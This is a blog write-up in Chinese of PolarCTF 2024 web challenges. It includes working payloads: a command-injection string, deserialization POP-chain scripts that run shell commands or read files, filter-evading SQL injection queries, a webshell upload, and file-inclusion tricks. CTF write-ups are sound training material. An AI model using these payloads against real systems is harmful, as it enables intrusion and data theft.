PolarCTF春季个人挑战赛 2024 WEB

文章详细描述了PolarCTF春季个人挑战赛中的多个PHP编程题,涉及文件上传、变量覆盖、反序列化、shell命令执行、robots.txt利用、SQL注入尝试以及未解决的Fastjson和Shiro安全漏洞。
摘要由CSDN通过智能技术生成

PolarCTF春季个人挑战赛 2024 WEB

uploader

题目直接给了源码,下面是经过本人注释后的代码

<?php
$sandBox = md5($_SERVER['REMOTE_ADDR']); 
/*根据用户ip地址生成一个md5加密的字段作为沙盒目录*/
if(!is_dir($sandBox)){
    mkdir($sandBox,0755,true);
}
/*检查是否已经有通过用户ip生成的目录,如果不存在,则创建新目录*/
if($_FILES){
    move_uploaded_file($_FILES['file']['tmp_name'],$sandBox."/".$_FILES["file"]["name"]);
    /*将上传的文件从临时目录转移到沙盒目录中*/
    echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
    echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
    echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
    /*输出上传文件的信息*/
    echo $sandBox;
    /*输出沙盒目录*/
}

highlight_file(__FILE__);

由于该题没有给出文件上传方式,需要自己在本地写一个上传表单,由于本人还不会html的编写,故这里借用 Jay 17师傅的html

<form action="http://b6ef4ae9-40b5-4da2-b280-e81d88b0495e.www.polarctf.com:8090/" enctype="multipart/form-data" method="post" >
    
    <input name="file" type="file" />
    <input type="submit" type="gogogo!" />
   
</form>

写好后上传一句话木马,随后根据给出的沙盒目录前往该文件,用蚁剑连接后找flag即可

覆盖

进题代码如下

<?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
}

看到parse_str函数,可知该题是变量覆盖,通过id使a[0] == ‘www.polarctf.com’,然后用cmd传入指令,最终的payload如下

?id=a[0]=www.polarctf.com&cmd=;tac f*

PHP反序列化初试

进题代码如下

<?php
class Easy{
    public $name;
    public function __wakeup()
    {
        echo $this->name;
    }
}
class Evil{
    public $evil;
    private $env;
    public function __toString()
    {
        $this->env=shell_exec($this->evil);
        return $this->env;
    }
}

if(isset($_GET['easy'])){
    unserialize($_GET['easy']);
}else{
    highlight_file(__FILE__);
}

简单的反序列化题,大致思路就是为了执行__toString()里面的shell_exec,我们执行需要Easy类中echo语句,依次触发__toString()魔术方法,具体脚本如下

<?php
class Easy{
    public $name;
    public function __wakeup()
    {
        echo $this->name;
    }
}
class Evil{
    public $evil = "cat /f*";
    private $env;
    public function __toString()
    {
        $this->env=shell_exec($this->evil);
        return $this->env;
    }
}

$a = new Easy();
$a -> name = new Evil();
echo serialize($a);

需要注意的一点是由于该题中的env为private属性,查看flag的时候需要到源码中查看,如果想要直接回显到页面上的话需要将序列化串进行unlencode编码后再上传

机器人

看到这题目直接查看robots.txt,得到了前半部分flag,同时得到了一个disallow的路径,用dirsearch扫一下找到了flag.php,前往查看得到后半段flag

search

进题后是一个登录框,猜测是sql注入,经过测试后发现对空格和一些字段存在过滤,空格用/**/绕过,其他的用大小写绕过,

1'order/**/by/**/6#			/*出现报错,说明共有5列*/
1'/**/uNion/**/sEleCt/**/1,2,3,4,5#			/*联合注入判断回显的位置*/
1'/**/uNion/**/sEleCt/**/1,database(),version(),4,5#			/*获取库名和版本号,库名为CTF,版本号为5.5.44-0ubuntu0.14.04.1-log*/
1'/**/uNion/**/sEleCt/**/1,group_concat(table_name),3,4,5/**/From/**/information_schema.tables/**/Where/**/table_schema='CTF'#			/*获取表名分别为Flag和Students*/
1'/**/uNion/**/sEleCt/**/1,group_concat(column_name),3,4,5/**/From/**/information_schema.columns/**/Where/**/table_schema='CTF'/**/and/**/table_name='Flag'#			/*获取字段名为Flag*/
1'/**/uNion/**/sEleCt/**/1,group_concat(Flag),3,4,5/**/From/**/Flag#		/*读取字段内容*/

file

题目说可以dirsearch一下,那么就扫一下试试,扫到了一个upload.php和uploaded/,upload.php是具体的上传页面,uploaded应该是文件上传路径。先直接上传php文件的一句话木马试试,在uploaded里发现没有上传成功,用bp抓包改一下文件类型试试,成功传入,然后蚁剑连接获取flag

PlayGame

进题代码如下

<?php
/*
PolarD&N CTF
*/
class User{
    public $name;
    public $age;
    public $sex;

    public function __toString()
    {
        return "name:".$this->name."age:".$this->age."sex:".$this->sex;
    }
    public function setName($name){
        $this->name=$name;
    }
    public function setAge($age){
        $this->$age=$age;
    }
    public function setSex($sex){
        $this->$sex=$sex;
    }
}
class PlayGame{
    public $user;
    public $gameFile="./game";
    public function openGame(){
        return file_get_contents($this->gameFile);
    }
    public function __destruct()
    {
        echo $this->user->name."GameOver!";
    }
    public function __toString(){
        return $this->user->name."PlayGame ". $this->user->age . $this->openGame();
    }
}
if(isset($_GET['polar_flag.flag'])){
    unserialize($_GET['polar_flag.flag']);
}else{
    highlight_file(__FILE__);
}

又是反序列化题目,大致思路就是通过.拼接字符串和echo输出字符串触发__destruct()魔术方法,最后使得file_get_contents()触发返回flag,poc如下

<?php
/*
PolarD&N CTF
*/
class User{
    public $name;
    public $age;
    public $sex;

    public function __toString()
    {
        return "name:".$this->name."age:".$this->age."sex:".$this->sex;
    }
    public function setName($name){
        $this->name=$name;
    }
    public function setAge($age){
        $this->$age=$age;
    }
    public function setSex($sex){
        $this->$sex=$sex;
    }
}
class PlayGame{
    public $user;
    public $gameFile="./game";
    public function openGame(){
        return 1;
        //file_get_contents($this->gameFile);
    }
    public function __destruct()
    {
        echo $this->user->name."GameOver!";
    }
    public function __toString(){
        return $this->user->name."PlayGame ". $this->user->age . $this->openGame();
    }
}

$a = new PlayGame();
$a -> user = new User();
$a -> user -> name = new User();
$a -> user -> name -> name = new PlayGame();
$a -> user -> name -> name -> gameFile = '/flag';

echo serialize($a);

另外一个需要注意的点是该处的参数含有下划线,直接通过polar_flag.flag无法传入,需要将下划线改成中括号(左),用polar[flag.flag传递才行。

csdn

进题后在源码中看到如下内容

<!-- 偷偷告诉你,flag在flag目录下的flag.txt中 -->

然后又发现url处有xxs传参,直接用file协议进行文件读取,payload如下

file://flag/flag.txt

phar

进题源码如下

<?php
include 'funs.php';
highlight_file(__FILE__);
if (isset($_GET['file'])) {
    if (myWaf($_GET['file'])) {
        include($_GET['file']);
    } else {
        unserialize($_GET['data']);
    }
}

使用php伪协议读取funs.php,将得到的base64字段解密得到如下代码

<?php
include 'f1@g.php';
function myWaf($data)
{
    if (preg_match("/f1@g/i", $data)) {
        echo "NONONONON0!";
        return FALSE;
    } else {
        return TRUE;
    }
}

class A
{
    private $a;

    public function __destruct()
    {
        echo "A->" . $this->a . "destruct!";
    }
}

class B
{
    private $b = array();
    public function __toString()
    {
        $str_array= $this->b;
        $str2 = $str_array['kfc']->vm50;
        return "Crazy Thursday".$str2;
    }
}
class C{
    private $c = array();
    public function __get($kfc){
        global $flag;
        $f = $this->c[$kfc];
        var_dump($$f);
    }
}

反序列化题目,最终要触发C类中__getf方法中的var_dump($$f);方法,形成变量覆盖,具体的poc如下

<?php
class A
{
    private $a;
    public function __construct()
    {
        $this->a = new B();
    }
    public function __destruct()
    {
        echo "A->" . $this->a . "destruct!";
    }
}

class B
{
    private $b = array();
    public function __construct()
    {
        $this->b = array("kfc" => new C());
    }
    public function __toString()
    {
        $str_array= $this->b;
        $str2 = $str_array['kfc']->vm50;
        return "Crazy Thursday".$str2;
    }
}
class C{
    private $c = array();
    public function __construct()
    {
        $this->c = array('vm50'=>"flag");
    }
    public function __get($kfc){
        global $flag;
        $f = $this->c[$kfc];
        var_dump($$f);
    }
}

$a = new A();
echo urlencode(serialize($a));

由于改代码中存在具有private属性的对象,在反序列化时会出现无法复制的特殊字符,为了能正常传入,需要将其进行url编码或者将poc中的private全部改成public

PHP_Deserialization

进题得到的代码如下

<?php

/*

PolarD&N CTF

*/

class Polar
{
    public $night;
    public $night_arg;

    public function __wakeup()
    {
        echo "hacker";
        $this->night->hacker($this->night_arg);
    }

}

class Night
{
    public function __call($name, $arguments)
    {
        echo "wrong call:" . $name . "  arg:" . $arguments[0];
    }
}

class Day
{
    public $filename="/flag";

    public function __toString()
    {
        $this->filename = str_replace("flag", "", $this->filename);
        echo file_get_contents($this->filename);
        return $this->filename;
    }
}

if (isset($_POST['polar'])) {
    unserialize(base64_decode($_POST['polar']));
} else {
    highlight_file(__FILE__);
}

又是反序列化的题目,入口应该是Polar类中的__wakeup()魔术方法,反序列化过程中如果没有改变O的个数该方法会被优先调用,同时该方法中调用了一个不存在的方法hacker(),由此就会触发Night类中的__call类魔术方法,同时该方法中的echo语句又可实现将类当成字符串调用,以此触发__toString()魔术方法,由于该方法中将flag替换成了空,我们可以尝试使用双写绕过,具体POC如下

<?php

/*

PolarD&N CTF

*/

class Polar
{
    public $night;
    public $night_arg;

    public function __wakeup()
    {
        echo "hacker";
        $this->night->hacker($this->night_arg);
    }

}

class Night
{
    public function __call($name, $arguments)
    {
        echo "wrong call:" . $name . "  arg:" . $arguments[0];
    }
}

class Day
{
    public $filename="/flflagag";

    public function __toString()
    {
        $this->filename = str_replace("flag", "", $this->filename);
        echo file_get_contents($this->filename);
        return $this->filename;
    }
}

$a = new Polar();
$a->night = new Night();
$a->night_arg = new Day();

echo base64_encode(serialize($a));

用post方法传入后在源码中即可得到flag

PolarOA(unsolved)

进题后是一个登录界面,尝试了一些sql注入,发现行不通,本想用bp抓包尝试一下弱口令的,但是在打包的时候看到了 rememberMe=deleteMe字段,可知是shiro的漏洞,于是用shiro工具开始爆破,先是爆破密钥,然后再爆破利用链,发现无法爆出利用链

请添加图片描述

挣扎了一番之后还是没思路,不会了,先留一下,日后再补上

Fastjson(unsolved)

好好好,又是折腾半天没弄出来的,摆了,日后再补上

  • 23
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值